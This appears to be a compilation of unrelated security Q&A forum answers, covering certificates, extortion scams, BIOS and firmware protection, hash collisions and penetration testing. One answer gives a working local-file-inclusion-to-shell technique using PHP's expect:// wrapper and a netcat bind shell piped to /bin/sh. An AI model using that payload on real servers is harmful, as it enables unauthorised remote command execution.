contains Alice's identifier A and therefore has been sent by Alice, and is not a replay of a nonce Bob sent in the past;
is encrypted with the shared secret key, so it must come from Alice which is the only party, apart from Bob, that knows the secret key.


The difference between self-signed and public CA signed is that third-party client browsers would receive a security warning because the self-signed certificate is not trusted: It has not been signed by a well known certificate authority, therefore the certificate could be tampered and/or the owner's identity has not been verified.

If you generate a certificate with a secure cipher and key length >2048, you would not be vulnerable to MITM. Only your identity can not be proven, but the integrity and privacy of the HTTPS communication remain.

If you have access to your clients, you can trust this self-signed certificate to avoid the warning banner by adding it to your repository of security certificates whether it is:

Java keystore
Apple Keychain
Windows Certificates Snap-In
Unix /etc/pki/ca-trust/


Received an email from a Bulgarian address trying to extort money

It seems to be fake ransom email...

  The Fake Threat Emails are poorly written; sent en Masse

  Fake ransomware racketeering is on the rise.

  The emails demanding Bitcoin are usually authored in poor English and
  often contain threats to leak private information if the Bitcoin
  ransom is not paid.

  These Bitcoin extortionists lie to their victims that they possess
  sensitive information which, when leaked, would destroy reputations.

https://darkwebnews.com/bitcoin/fake-email-bitcoin-ransom/


Is demanding a "donation" before disclosing vulnerabilities black hat behavior?

To my understanding, this is no longer in line with responsible 'white hat' behavior. Am I right in this assertion?

White (and grey/black) hat are vague terms. There is no fixed universal definition. By the wikipedia definitions most researchers would be viewed as Grey Hat seeing as its not uncommon to publish if the software publisher refuses to patch.

The easy answer to your question is no. If your aim is to make the world more secure then this clearly does not directly align. There is an indirect argument - that by encouraging financial reward it encourages a healthier relationship between businesses and researchers as well as encouraging more people into the field.

Why do you even ask? The researcher is in no way obliged to disclose to you. Unless you can prove he broke the law in finding the vulnerabilities you have no leverage to force him to. To date you have received several hours worth of work from a (hopefully - otherwise that casts yourselves into a bad light) high skilled individual entirely for free. Either you view it as worth paying him to continue offering services or you don't.

*Seeing the title I would argue this is not Black Hat behavior unless he deliberately exploits the vulnerabilities for his own gain or your own harm (/gives them directly to someone with that intention). If he just refuses to disclose the argument would be between white/grey hat definitions.


It depends on whether you are talking about the concepts, the terminology, or the acronym.

Concepts of confidentiality, integrity and availability of information have been used by war generals for quite some time; for instance, one can see Julius Caesar operating along these lines during the Gallic Wars and he was certainly not the first to grasp the importance of intelligence gathering, deception, and secure communications. In fact, the very fact that Caesar was using his own primitive encryption algorithm shows that he was envisioning some interception of his messages, which implies that his enemies, although described as somewhat rustic barbarians, also mastered the said concepts.

For each actual term, see for instance this blog post from someone who apparently tried to trace their origin in an InfoSec setup, with mixed success. We may infer that finding the first use of "confidentiality", "integrity" and "availability" for information security is not an easy task, and may, at best, be ill-defined (the words existed way before "information security" became a thing, and that event is not clear-cut either, since, as said above, InfoSec was yet unnamed but already put to practice more than 2000 years ago).

The acronym (CIA) and the expression "CIA triad" seem lost in the mists of times. I see many references from the 1990s, during which some people were proposing extensions (e.g. the Parkerian Hexad) and invariably talked of "the classic CIA triad" without any reference. One can thus surmise that 20 years ago, the expression was already old and hard to pinpoint. This usually means that the acronym was not coined in a groundbreaking, seminal and well-known paper, but more probably by an inebriated researcher in the nightly aftermath of some obscure academic meeting; presumably, the coincidence with the acronym for the well-known intelligence agency met some appreciative resonance in the assembled party, and beery guffawing was likely involved.

It must be noted that cryptographic academic circles use a cousin triad: "confidentiality, integrity, authenticity", whose origin is equally untraceable.

For a thesis, there is a wonderful typographic gimmick called a footnote, which is the right place to include wisecracks, pedantic notes and other attempts at literary flourishes. I suggest something along the lines of: "The exact origins of the 'CIA Triad' expression appear to be unknown, but the underlying concepts were already operative in military contexts millennia ago, as can be seen in the works of the consulus, pontifex maximus Gaius Julius Caesar." (with a reference to the De Bello Gallico, preferably the 1519 illuminated manuscript currently kept by the British Library).


Yes, an HDD without OS can contain active virus. For example, one of NSA implants can install itself into the hard drive firmware. The firmware area is not accessible to ordinary HDD formatting tools, so even if you wipe your hard drive with zeros, it would do nothing to this kind of implant.

Another kind of exiting malware installs itself into your bios, and thus would also survive OS reinstall with full disk wipe.

However, unless you're kind of person a three-letter agency would have definite interest about, both are more of a theoretical threat. What is more likely to happen in case you do have an infection is one of your often-used files (such as documents) is infected, and after you reinstall your OS, and open this document, you'd reinfect the newly installed OS back.

On the other hand, sudden spikes on hardware use alone are hardly sign of malware infection. Especially since you're using an antivirus, which itself uses CPU quite heavily.


Is it possible to sign/verify a key-pair?

What you are describing is the exact problem of public key distribution that PKI is meant to solve. When your "master key pair" is used to sign the public key of an authoritative content provider for a specific domain, then you are issuing a certificate linking the domain name with a public key. That is what you are intending to do, and that's PKI, whether you want it or not.

Where private keys are generated is orthogonal to the issue. A content provider obtains a certificate (key pair linked to its domain name) through some procedure designed to ensure that only the right provider obtains the private key. There are many ways to organize such a procedure, and the key pair may be generated on your side or on the provider side. Generally speaking, it is preferable that private keys are generated on the provider side, because otherwise the private key has to travel, and we don't like it when private keys travel. But that's only the general assertion; in practice, the context matters a lot. E.g. if you meet the provider's people physically, you can arrange for a physically protected transfer of the private key itself, or of a big fat password which was used to encrypt the private key.

As for the actual formats and protocols, it is highly recommended that you stick to existing standards, i.e. X.509 in the case of certificates. The main reason for that is that the software which is easiest to develop is the software which has already been developed. You will find a lot of X.509 support in the tools you are already using, integrated in your programming framework (e.g. both Java and .NET handle certificates natively) or as extra opensource libraries. It is tempting to reinvent your own format, but experience has repeatedly shown that it is a bad idea. The core point is that it is very hard to design a secure cryptographic protocol properly; it is easy to have something "which works", but the "secure" part is the difficult one, especially since it cannot be tested. Do yourself a favour: don't reinvent the wheel. NIH is called a "syndrome" for good reasons.


Schemes for ID obfuscation like Facebook app scoped IDs

What if they have a symmetric key for a 64bit block cipher stored per App, that they do not reveal to the App developers, stored right next to the App Id in their system, and they encrypt the real user id with this per-app key? This has no storage cost (the encrypted user id does not need to be stored) and processing cost is just one cipher block operation per user id in API serializer/deserializer (e.g. if it's an API request that returns a list of 100 users who have liked a page or whatever, then 100 cipher block operations are needed and they can be done in parallel).

I do not know if this is what they do, but would this satisfy your requirements?

We know the per-app user id is 64 bits (I think I remember documentation stating 63 bits would not be enough). So the block cipher must have 64 bit blocks. So it's not AES because AES has 128 bit blocks, and I don't think they would use 3DES because it's slow. It might be DES. There are plenty of block ciphers to choose from: Blowfish, CAST-128, TEA, IDEA, RC2, RC5, etc.


How to open a shell using LFI or RFI exploits?

Using PHP wrappers may do the trick as explained here :
https://offsec.vchur.dk/2019/04/16/local-file-inclusion-lfi/

Here is the example quoted from previous link :

http://127.0.0.1/fileincl/example1.php?page=expect://ls

Here is an other example (using inline PHP) from https://www.php.net/manual/en/expect.examples-usage.php :

$stream = fopen("expect://ssh root@remotehost uptime", "r");

Once there, you have ability to RCE and thus craft your own (bind) shell, e.g. :

# Payload on target
nc -lkp 2222 | /bin/sh
# Locally :
nc 10.102.x.x 2222

Note: payload should be URL encoded (e.g. expect://nc%20-lk...)


Which attribute in DN is commonly used to specify the class/type/usage of certificate/end-entity?

That depends on the software that will check the certificate.  If that is under your control and especially if you (or your colleagues) are developing it, then you can simply pick any attribute.  However, picking something like Country would be rather unconventional.
While there are a long list of possible attributed defined for X.509 certificates, you are probably best restricting to the most common ones especially if you want to reference them by name instead of OID.  Many of these relate to personal names/titles and geographical addresses and reattributing these to your use would be odd.  Of all of them, the Organisational Unit attributes is probably the best for your use case.


Firmware configuration
Writing to the BIOS is a privileged operation, only doable by the superuser. Many BIOSes attempt to prevent this, for example by locking the SPI write bit and limiting the ability of SMM to interact with the BIOS. Unfortunately, there are so many ways to modify the BIOS that many (most?) firmware vendors do not adequately lock down the configuration, allowing the superuser to modify it. Whether or not a given system has a vulnerable BIOS can be determined using the CHIPSEC framework. It scans the system for common misconfigurations and reports them, along with the implications. It will report on whether or not all the required lock bits are set at boot. In many cases they simply are not.
This is not necessarily sufficient for protecting against an attacker with privileged access. A sufficiently advanced attacker, even if they cannot modify the BIOS, may still be able to modify option ROMs or even storage device firmware. At the very least, they may be able to physically damage the computer by repeatedly writing to non-volatile write-sensitive storage such as NVRAM (at least the kind that uses flash instead of battery-backed SRAM). But regardless of other remaining risks, locking down the BIOS, or at least determining if it is locked down, is the first step.
Additionally, privileged tasks have access to low-level interfaces on the system. There has been an increase in firmware security research lately which has shown that, even with all locks properly configured, the sheer complexity and difficulty in patching systems makes bugs pervasive. This can manifest itself simply as ways to bypass firmware security, or even ways to get even more privileges.
Measured boot
Many modern systems come with Intel BootGuard, a technology which allows a signed BIOS to be verified by the physical chipset itself before booting. While it is not perfect, it makes attempts to prevent unsigned firmware from running, even if the firmware is able to be modified. This requires a modern system that has been pre-assembled by an OEM. If this is not the case, a TPM can be used instead to verify the integrity of the BIOS, alerting you if there have been any modifications.
BootGuard works by digitally signing the BIOS. The key used for verification is burned into the PCH at assembly time by the OEM. When the system boots, the BIOS' signature is verified by the public key. An attacker is not able to modify this public key as it is written to OTP (one-time programmable) fuses.
The TPM works a little differently. A read-only bit of code in the BIOS called the CRTM sends a copy of the BIOS hash to the TPM. This then happens with the rest of the system's configuration, such as boot settings, option ROMs, and the MBR. If all these hashes match the expected value, the TPM will unseal a secret value it has been securely storing. This value can be an encryption key necessary to finish booting, or it can be a secret value known only to you, such that an attacker, even one who can modify the contents of the screen, cannot impersonate an unsealed TPM.
Summary
It is not always possible to effectively write protect your firmware, whether from hardware or software threats. In general, if an attacker has malicious local (even if not physical) access to your machine with high privileges, they can typically do whatever they want. The best solution is to prevent them from getting high privileges in the first place. If that is not possible, then there are only three solutions:

Ensure your BIOS locks all required bits, as can be determined by CHIPSEC.
Use a system with Intel BootGuard supported and enabled.
Make use of a TPM to provide measured boot. This is not always practical.


Why does Windows windows suggest/have completely different (and seemingly valid) intermediate CA certs for a given leaf cert?

You often find certificates with the same subject, public key and subject key identifier, but these differ usually in the signature algorithm or the issuer. Since the relevant details for chain validation are the same each of these can be used to built the trust chain, which often makes multiple trust chains possible. The hope is that at least one of these trust chains can be built for all relevant clients.

Such "duplicate" certificates happen if a certificate get re-signed with a new signature algorithm (i.e. move from SHA-1 to SHA-256). It is also done for new CA like Let's Encrypt which are not inside the trust store of all OS/browsers when they start. Thus they create two similar certificates: one self-signed for inclusion in the trust store and another one cross-signed by an already trusted CA. For an example of such cross signing the the description of the certificates used by let's encrypt.


RelativeDistinguishedName allowed SET items

CN=A+CN=A is legal, too.  ITU-T X.680 (2015/08) says, for SET OF (28.3)

  NOTE 1 – Semantic significance should not be placed on the order of these values.

  NOTE 2 – Encoding rules are not required to preserve the order of these values.

  NOTE 3 – The set-of type is not a mathematical set of values, thus, as an example, for SET OF INTEGER the values { 1 } and { 1 1 } are distinct.

(emphasis mine)

Note #1 says that CN=A+CN=B is the same as CN=B+CN=A.  Since X.509 public key certificates say that their encoding uses the Distinguished Encoding Rule set (DER) the latter won't be found, because DER requires that the set be sorted (using sorting rules that are not obvious without looking at the encoded data).

Without any qualifying statement in the specification (that any given OID cannot have more than one appearance in the SET OF) there's nothing preventing redefintion, or duplicates.  X.509 doesn't have any such statements.

But, for what it's worth, multi-value RDNs are pretty rare in X.509 public key certificates.


Sensor placement can be very tricky as there are loads of variables to consider. At minimum, you should take into account

Classification level of monitored resource
Network design
System throughput
Personnel time (for management and analysis)
Resource availability

Throwing all of those into a blender and turning on high for a few minutes will give you some nice data to start with for determining your deployment. Deployment planning is a multiphase process, and while they are not intrinsically separated, it is beneficial to remember that they are different parts of the same plan.
Data Collection and Planning
More likely than not, what you're going to want to do is construct a list of all of the systems that you want to monitor, then rate them based on importance or risk. That should give you a prioritization of what systems you really need to be watching now. In a perfect world, we would have a sensor monitoring the link connected to each and every system. However, that would be scary expensive, difficult to maintain, and noisy. Instead, talk to your network team and take a good hard look at your network design. Figure out on the network map where your prioritized systems live and figure out where the choke points are. Look at what hardware you have available to turn into sensors. In an awesome environment, you could have one big box with a few 10Gbps interfaces and do all of your monitoring for an entire enterprise using a single sensor. However, more likely, you're going to have a few surplus systems that used to be used by department secretaries and will need to spread the load.
Array Design and Deployment
Now is the time to think long and hard about what risk acceptance threshold is. How close to the sensitive data do you feel like you need to have a sensor, and how far away do you feel comfortable placing it? In some cases you may really need to monitor the switch port that a server is directly connected to. In other cases placing a single sensor on a building or floor uplink, and ignoring any intra-switch traffic, is sufficient. In another case you may feel as if mirroring a specific port is not good enough, and instead mirror an entire VLAN.
Workload and Other Considerations
As you're building our your sensor deployment strategy keep in mind that it can get very complicated. As you decide where to place your sensors, make sure to account for all of the other issues that arise. For every sensor you deploy there will be management overhead for an employee to actually maintain the system (apply patches, hardware replacement, etc), application management overhead (updating signatures, tweaking rulesets, making sure snortd stays running), and analyst time (interpreting the alerts and taking action). Depending on  your design, and how much time you're willing to front-load, these numbers can vary wildly. For example, using the right configuration management/automation tools, it's not that difficult to manage several dozen snort sensors using a fraction of an FTE.


How do large companies protect their private (code-signing) keys?

Lots of processes can be called "code signing", anything from publishing a tar file with a pgp-signed hash and up.

For the sort of large company you mention, ultimately HSMs (more than one, obviously, in case a data center is overtaken by zombies or something) are involved. The hard part is not where the actual keys are stored, but the entire Release Engineering process that guarantees that the shipped signed binaries really did come from the source code in the repositories.


What are all these connection attempts in my firewall log?

It looks like your ufw is missing a rule for accepting ESTABLISHED, RELATED connections. Not sure how that works on ufw, but on plain iptables it is iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

What you are seeing there is that your computer started a connection but then is blocking the response.


It depends a lot on the specific companies you choose to use - there are some common terms, but it is not unheard of to come across "automated penetration testing", or "manual vulnerability scanning".

In general, a vulnerability scan is designed to look for common flaws: it will detect out-of-date server software, unpatched systems, open ports which should be filtered, and a few more specific flaws, such as default usernames and passwords being used on publicly available systems. It can also either take place externally, where it looks at what is visible from the outside of your network (usually a remote service, hosted by the security company), or internally, where it looks at what can be seen from the perspective of a user on your network (usually a pre-configured appliance which the security company provides, and which you host on your network somewhere).

On the other hand, a penetration test tends to be more targeted, looking specifically at your systems. A tester will look at open ports and software on the systems they can see, and work to abuse them. This might include testing for things like SQL injection or cross-site scripting issues, or running brute force attacks against passwords or usernames. These types of test can be more dangerous to the systems being tested, so automated testing tends to err on the side of caution, to prevent accidental outages. Pen testers are also more likely to pick up on logical errors, where the application does something that it shouldn't (can you buy goods without paying? Can you change your user privileges?), which automated vulnerability testing won't detect.

Internal and external scanning for pen testing is usually the same as mentioned above - internal tests look at the system from the point of view of a device connected to the internal network, and often find issues which could be exploited by malicious activity by company staff. External tests are more like standard attacks by malicious third parties.

Both are very useful tools, and can be used in conjunction very well - have an initial vulnerability scan to pick up on any low hanging fruit. Fix those, then have a penetration test, which is likely to pick up on any more difficult issues (by sorting the low hanging fruit, the penetration testers will have more time to look at the more specialist parts of your system - they have to report the simple stuff if it's there). Then have a regular scheduled vulnerability scan to ensure any new deployments don't have issues. You can get a penetration test for  new systems too, if you like, or if there are major changes to your code or systems, but assuming you make use of a secure development life cycle, you shouldn't need to test every little change, unless you're in a business area with high levels of compliance (e.g. banking applications are often tested after even minor changes).


How does WhatsApp's new group chat protocol work and what security properties does it have?

Firstly, from their paper

  Messages to WhatsApp groups build on the pairwise encrypted sessions
  outlined above to achieve efficient server-side fan-out for most
  messages sent to groups. This is accomplished using the “Sender Keys”
  component of the Signal Messaging Protocol.

  The first time a WhatsApp group member sends a message to a group:

  The sender generates a random 32-byte Chain Key.
  The sender generates a random Curve25519 Signature Key key pair.
  The sender combines the 32-byte Chain Key and the public key from the Signature Key into a Sender Key message.
  The sender individually encrypts the Sender Key to each member of the group, using the pairwise messaging protocol explained previously.
  For all subsequent messages to the group:
  The sender derives a Message Key from the Chain Key, and updates the Chain Key.
  The sender encrypts the message using AES256 in CBC mode.
  The sender signs the ciphertext using the Signature Key.
  The sender transmits the single ciphertext message to the server, which does server-side fan-out to all group participants. The “hash
  ratchet” of the message sender’s Chain Key provides forward secrecy.
  Whenever a group member leaves, all group participants clear their
  Sender Key and start over.

I would say the key point here is number 4: The sender individually encrypts the Sender Key to each member of the group, using the pairwise messaging protocol explained previously

It's a clever adaptation which builds on top of the one-to-one protocol:  use it to distribute a shared key to each individual member of the group, so then the group can use the server in order to provide efficient "fan-out" (as well as blob storage) without the server being privy to the required private keys.

"So what security properties does the group chat protocol feature and how does it work (at a high level)?"

As to how it works, I think that paper is as much detail as you'll find available for now until someone else does a full (applied) analysis.

As to the features it provides...

Forward secrecy: the ratchet mechanism described provides this (or so they claim)
Passive:  the "Sender Key" distribution method in point 4 makes passive attacks nigh-on impossible: bear in mind that a passive party would have to get through the noise pipes encryption layer (to the WhatsApp servers) for each of the parties in the group and would probably require multiple points of presence which facilitated access to the traffic for each party in the group.... so you can pretty much rule out anybody there unless they're a major backbone provider or NSA.
Active attack: I'd say a side channel attack on one of the devices in the group would be feasible, but if you have that level of invasive access to the device (and therefore most likely its owner!), a pair of pliers and 5 mins with the device owner is likely to be far more fruitful.
Transcript consistency:  all the messages use HMAC to ensure integrity (step 7)
Plausible Deniability: if anything, all the extra security provided by their new implementation makes it very difficult to deny that a particular user sent a message....


My ISP shows my WiFi password on their public site in plain text. Should I be worried?

What surprises me here is not the fact that the passwords are displayed in plaintext, but that your ISP keeps a copy of your wifi password at all. This is not something they need to do in order to provide internet to you. It's the router that takes care of the wifi, so only the router needs to know the password.

So why have they chosen to do it this way? My guess is that it is as a convenience to their customer, allowing them to remind them of their wifi password in a simple way. Hashing the password would then defeat the whole purpose of storing it, since a hashed password can't be turned back into plaintext.

So, what to do? Don't expect to be able to change the policy of your ISP. At most, you can annoy someone in customer service. Instead, I would opt for using a strong and unique password. If that isn't good enough for you, you can buy your own wifi router to use, either as your only router if that works or as a second one connected to your gateway. (I am asumming here that they are automatically harvesting the passwords from the routers, and that you can not simply lie to them and give them a false password.)

And as entrop-x suggests, you can also just change ISP.


Canvas fingerprinting identifies the OS?

The two other answers are good but don't explicitly address a (what I find to be) critical point: What the article mentions is not canvas fingerprinting (nor does the author state that it is canvas fingerprinting)!

Canvas fingerprinting is described in this paper. From the abstract:

  We exhibit a new system fingerprint based on browser font
  and WebGL rendering. To obtain this fingerprint, a website
  renders text and WebGL scenes to a <canvas> element, then
  examines the pixels produced. Different systems produce
  different output, and therefore different fingerprints. Even
  very simple tests — such as rendering a single sentence in a
  widely distributed system font — produce surprising variation.

I think you have a misconception about canvas fingerprinting given your statement:

  My understanding from what I have read about this is that canvas fingerprinting gives your OS a unique fingerprint from you can be identified, and followed around the web.

The OS does play a factor in determining the a canvas fingerprint, but with so many other factors, including graphics card, graphics drivers, display, etc. it would probably not be possible to infer the OS from the canvas fingerprint (nor is that the point).

The technique used in the article, as stated is:

  Normally, when an email contains an image, the receiver's email client has to contact the sender's email server in order to 'fetch' the image.

A 'fetch' being a GET request, which has useragent as a header, and useragent does indicate the operating system of the client.


Even when you use a "VPN done right" which makes all activity originate from the external IP of the VPN provider, you might still trigger a false positive and get wrongly accused for what another VPN user did.

VPN User A has an account on example.com. A is a perfect model citizen of the example.com community.
Then VPN User B also creates an account on example.com, and proceeds to break every written and unwritten rule of the website.
The admin of example.com intervenes. They check the IP of User B and see that A and B both have the same IP address. They therefor believe that A and B are the same person and both accounts get banned.

When the admin of the website notices that the IP is a VPN exit point and they are reasonable, they might revoke the ban for A. But they might not notice that unless contacted. That appeal process will still be inconvenient for A.

I've also seen websites which experienced increased abuse over VPNs and overreacted by assuming that nobody would use a VPN unless they have nefarious intentions (after all, if you have nothing to hide...) and decided to proactively ban all users who use VPNs.


How do browsers detect authentication type?

With form-based auth, how does the browser know which HTML page contains fields for credentials, and how does it know which fields to look for?

The browser does not know and the browser does not need to know. The server is sending a HTML document with a form and which form fields have which kind of meaning is known to the server. The browser is just rendering the HTML document and displaying the form according to the HTML standard. The user is filling in the information into the displayed form. Any local handling will be done according to the HTML standard (like not displaying the password in fields of type "password") and maybe some Javascript which was also provided by the server. The browser then submits the filled in form to the server and the server will know which field names contain which kind of information, i.e. where to look for username, password etc.

  When Oauth is required, how does the browser know that?

The server will issue the necessary redirects if it wants the client to authenticate. Please have a look at how the communication flow works with Oauth yourself for the details.

  Are there any custom authentication schemes which browser learns on the fly, as it interacts with the page?

No. The browser does not "learn". The browser gets instructions on what to do and what to display. The logic is implemented server side and/or in Javascript provided by the server but running inside the browser as part of the rendered document.


Fortify360 - Sinks & Sources - Vulnerability count

I'd reiterate AviD's reply - Cross Site Scripting is generally better solved as a context sensitive output encoding problem, rather than an input validation problem. If you're trying to solve it as an input validation problem, you're going to be encouraging a black list input validation approach in many cases, or if you're using a white list approach you may not be able to get these as tightly constricted as you'd like.

Also - what you'll need to handle for each output encoding context (HTML, attributes, CSS, JavaScript) will be different, so I'd advise you steer the development team to something that does the encoding for them like Microsoft's WPL (Web Protection Library) or OWASP ESAPI or OWASP Reform for other languages.


How is SHA-1 insecure if it is not vulnerable to what MD5 is?

SHA-1 is vulnerable to collisions, even if no one have been publicly disclosed yet.

Some cryptographers have been working on the subject the latest years, and they estimated that the cost of finding a collision is decreasing so much that some attacks will be very soon within realm of possibility.

In October 2015, an important milestone was marked with the first freestart collision example for SHA-1, which is a collision for its internal function. This is not a full collision, but this is still a major improvement on the way on finding one, so they recommended to move from SHA-1 because they expect the first collisions to be found very soon.

They estimated the new cost of a full collision from 75K$ and 120K$, which is a 3-4 years improvement over previous estimations.

SHA-256 and SHA-512 are different algorithms, and are not affected by these theoretical attacks.

Update (February 2017): The first public collision on SHA-1 has been announced!

Both this PDF and this one share the same SHA-1 hash. This collision was found using Shattered, a new attack on SHA-1.

You can also read Google Security Team's article on their blog.


A factory reset will reset back to the state the phone has set as last known good image, and for most compromises that will be sufficient.
But if that image is infected then no, it will not help. I have had one Android phone delivered from the factory with malware already installed, so I was concerned that I would need to provide a known good image, but a factory reset was enough in that instance - so the compromise was obviously in an application rather than core OS or firmware.
So if you want to be safe, grab the latest firmware image from a reputable source and use that. Just in case the reset doesn't clear the malware.


How secure is http communication between AWS ELB and EC2 Instances

In general, if traffic between two servers is sent using http instead of https, then anyone with the ability to inspect traffic anywhere along the path could eavesdrop.

In this case, it sounds like that would probably be limited to you and Amazon network admins.


Firstly, this point:

  I'm using Truecrypt full system encryption

When the system is powered on, and the user has physical access, this is pretty much irrelevant. Disk encryption protects you from theft where the thief either isn't aware of the need for, or cannot acquire the key. It won't help you if the key is in memory and the system in use, as files are all being decrypted on demand.

Now,

  I keep my computer up-to-date constantly, and from what I understand zero-day exploits are pretty rare.

Yes and no - it depends what in - in the core of Windows I would say "probably". However, any software you have installed that runs as Administrator, or the SYSTEM account (Windows Services) may be a target for privilege escalation. Once privilege escalation has occurred, anything goes.

That's the scary view, now for a little dose of reality. Does the person you intend to leave your computer alone with know enough about your system to:

Know you have a vulnerable package and what it is.
Know how to exploit it.
Know how to cover their tracks so you don't notice immediately on returning.

If I had to guess, I'd say the odds of this are quite low; however, if you're worried you do have options, such as backing your system up beforehand, or providing them access to your network on their own hardware, which is easier to isolate (but comes with its own set of problems).


How to control the ciphersuites in nmap "ssl-enum-ciphers"

The cipher suites tested within the ssl-enum-ciphers lua script are pulled from something called the TLS Cipher Suite Registry, more info here.

Looking at the output of running the suggested command for this type of enumeration, nmap -sV --script ssl-enum-ciphers -p 443 <host> we see the cipher suites (provided in the aforementioned Registry) that are tested during connection initialization were pulled from TLSv1.0, TLSv1.1, TLSv.1.2, but not yet TLSv1.3.

It should be noted, as provided from within the Registry, that:

  Although TLSv1.3 uses the same cipher suite space as previous
  versions of TLS, TLSv1.3 cipher suites are defined differently,
  only specifying the symmetric ciphers, and cannot be used for TLSv1.2.  Similarly, TLSv1.2 and lower cipher suite values cannot be
  used with TLSv1.3.

So if you are looking for testing only specific cipher suites then perhaps you could try a manual process rather than using the NSE. This might be a good resource to consult for trying other methods. Otherwise, by referring to the Registry you will be able to see all available cipher suites within their respective versions of TLS which will allow you to manually compare with those of the server's.

Hope this helps with what you are looking to accomplish.

Additional sources:
 - http://seclists.org/nmap-dev/2012/q3/156


NSA Suite A Cryptography: Security through obscurity?

My opinion (and I am a cryptographer -- I have a shiny diploma which says so) is that:

We cannot speculate on unknown algorithms, because they are, well, unknown.
NSA is like all secret services in the World, they really love secrecy and will practice it for the sake of it. So the fact that their algorithms are not published is in no way indicative of some particular strength or weakness of the said algorithms.
It is entirely plausible that the unpublished algorithms are indeed distinct from publicly known algorithms such as AES or RSA.
It is also entirely plausible that "Suite A" and "Suite B" are, in fact, identical. At some point, to use some algorithms, you must have implementations, and these things do not grow on trees. Having your own algorithms is thus expensive.
If I were a US taxpayer, I would be slightly dismayed at the misuse of my tax money, if it turned out that NSA spent it on developing and maintaining custom algorithms instead of reusing perfectly fine ones like the AES.
There most probably are some people with power to decide a lot of things in the NSA, who believe that not publishing algorithms increases their security. Such people exist everywhere. It does not make them right, though.
There is no better security than "cannot break it", which is what we already have with (properly used) AES, RSA, DH, ECC... The NSA could know of faster algorithms which are as secure as the public ones; however, it would be hard to beat the performance of hardware-accelerated AES, unless they have their own CPU foundry.

The danger in security by obscurity is in believing that it works well. It may induce people to feel safe with homemade algorithms, because they would assume that the obscurity will hide the weaknesses of their algorithms. However, if you use good algorithms with published and well-studied protocols (i.e. AES, SSL...) then there is no harm done in not saying that you do.


Is there a method to get plain-text from cipher-text in HMAC SHA-1, given that the key is known?

Nope
Generally speaking: No. Hashing is not encryption. Hashing is not reversible. At all. It always generates a fixed length output. So with an output fixed to say 32 characters, and an input of 33 characters, there is no possible way to reverse this. The information of that one character is irretrievably lost. -- And along with it all other characters.

Brute force feasible for small inputs
But: If you know, that your input is only digits 0-9 and there are only ever 3 of them, then you just try all 1000 of them, and yes, you have effectively reversed the hash. (By "Brute Force".)

There's no unlocking a keyed hash
Also: The "key" you use in a keyed hash is not the kind of key that will unlock anything. "Key" is really a bad, confusing name in that context. It is just one more input that is mixed with the regular data in a special way. -- After which all of it goes through the hash-function meat grinder and is turned into fixed length output.

Sidenote: Weird way to store passwords
You seem to be using HMAC to store passwords. This is unusual. And also it means that you're basically storing peppered, unsalted, low-round-count-hashed passwords. Peppered is good. (If the pepper is stored somewhere other than the hash itself.) Unsalted is always bad. Low-round-count-hashing is also bad. (Details: See this question: HMAC - Why not HMAC for password storage?) -- All of this will make it easier to brute force the hash if the key is known, but it must still be brute forced.


Why do some certificates specifically identify a corporation and most don't?

Certificates that identify the owner of the site are Extended Validation certificates. They require certificate authorities to check the owner identity, and are as such more expensive than certificates that don't.

A normal certificate only ensures that the website you are talking to is indeed the domain you tried to contact.


Does aircrack-ng use GPU/CUDA capabilities?

As stated by @RoyceWilliams, it does not seem to use CUDA. For this purpose, you might want to look at Pyrit, since it leverages CPUs and GPUs on the cracking process.

NB: I wanted to leave this as a comment but I still don't have enough reputation.


Does signing of CSR by the same private key create self-signed certificate?

To shortly answer your question, yes.
Deepdive:
To understand this better, let me explain how the signing process works. - To sign a certificate, you'll need a ca and the ca cert file's private key or in the case of self signing you'll just need your key used for the CSR and set the CA to null (if it's required as a function) or not specifying any CA via command line.
The reason it's required for a private key and a crt file is to prevent unauthorized access to the CA or sub-CA's infrastructure. To learn more, I'd suggest either googling the topic or looking into one of the following links as they could be quite helpful for beginners. (Or advanced users! :P)

https://opensource.com/article/19/6/cryptography-basics-openssl-part-1
https://www.feistyduck.com/library/openssl-cookbook/online/ch-openssl.html
https://riptutorial.com/openssl
https://jamielinux.com/docs/openssl-certificate-authority/
https://www.simba.com/products/SEN/doc/Client-Server_user_guide/content/clientserver/configuringssl/signingca.htm
https://www.youtube.com/watch?v=T4Df5_cojAs
https://www.sslsupportdesk.com/what-are-self-signed-certificates-and-disadvantages/

Wishing you the best with your projects!
~ Nathanna


How exactly do you infect the firmware of a hard drive?

There have been a few white papers and conference presentations on this, a quick google search would be a good start. However, this step by step explanation is pretty awesome: http://spritesmods.com/?art=hddhack


Can active attacks really decrypt a particular AES-256, CBC, PKCS#7 encrypted file?

A file which has been encrypted will be, presumably, decrypted later on (otherwise, what was the point of encrypting it as opposed to, say, deleting it ?). Active attacks of the chosen-ciphertext persuasion alter the encrypted data and try to gain information from what happens when the decryption occurs.

Padding oracle attacks are a specific kind of chosen-ciphertext attack, where the information which the attacker wishes to obtain is whether a correct padding was found upon decryption of his maliciously crafted file. Chosen-ciphertext attacks are not limited to games with the padding, but this kind of attack has been applied in practice against SSL servers.

Chosen-plaintext attacks are another kind of active attacks in which the attacker chooses part of the data which is to be encrypted. This occurs at another level in the whole system.

Active attacks, by definition, suppose that an "honest system" (one which knows a secret value that the attacker would like to obtain) acts upon some data which has been at least tampered with by the attacker. An honest system is necessary for active attacks, because there is of course nothing to be learned from a system which knows nothing. In the full life of data through an encryption system, there are two points where an "honest system" uses a secret element (the key) in conjunction with the input data: when encrypting and, later on, when decrypting. Both events are potential targets for active attackers.


These modules communicate with SSL (PSK) ...

If these modules use SSL the encryption algorithm (AES, ...) and key length are encoded in the cipher used. Which cipher is used can be seen from the TLS handshake, notably the ServerHello message send by the server.


This is usually a combination of luck, technology and hand waving.

You may see that your database server was hacked (via unusual activity for instance, gigabytes being transferred to Internet, a fact detected by, say, your network provider). You may then have logs which trace activity on the database (ranging from "someone accessed the DB" to actual queries). You can then, hopefully, roughly imagine what has leaked.

Another example is the usage of Data Loss Prevention. This is a technology which had its glorious days a few years ago but failed to actually detect anything useful (generally speaking, it was looking for patterns in what is transferred). Taken into account the constraints you have to put in place so that it works, it is not surprising that you can hardly catch anything. But this is one technological possibility.

Another case is that you realize (or someone tells you) that your data is on pastebin.

You can see that there are plenty of possible scenarios.

Beside having your environment up-to-date, your main defense is to log everything, and do that in a place outside the immediate vicinity of your database (so that it stays there after the hack). You can use a home made solution (a centralized syslog server in a firewalled zone) or commercial ones (Papertrail, Splunk Cloud, ...). You then monitor these logs looking for unusual patterns.


I can think of a few options.

